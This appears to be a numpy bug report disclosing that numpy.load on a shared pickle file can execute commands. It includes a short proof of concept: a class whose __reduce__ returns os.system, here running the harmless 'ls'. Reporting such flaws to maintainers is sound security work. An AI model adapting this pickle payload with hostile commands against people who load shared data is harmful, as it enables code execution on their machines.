numpy load function with evil data will cause command execution #12759
Description
numpy load function with evil data will cause command execution,if attack share evil data on internet,
when user load it , it will cause command execution.
Reproducing code example:
import numpy
from numpy import __version__
print __version__
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('ls',))
tmpdaa = Test()
with open("a-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('a-file.pickle')Numpy/Python version information:
1.14.6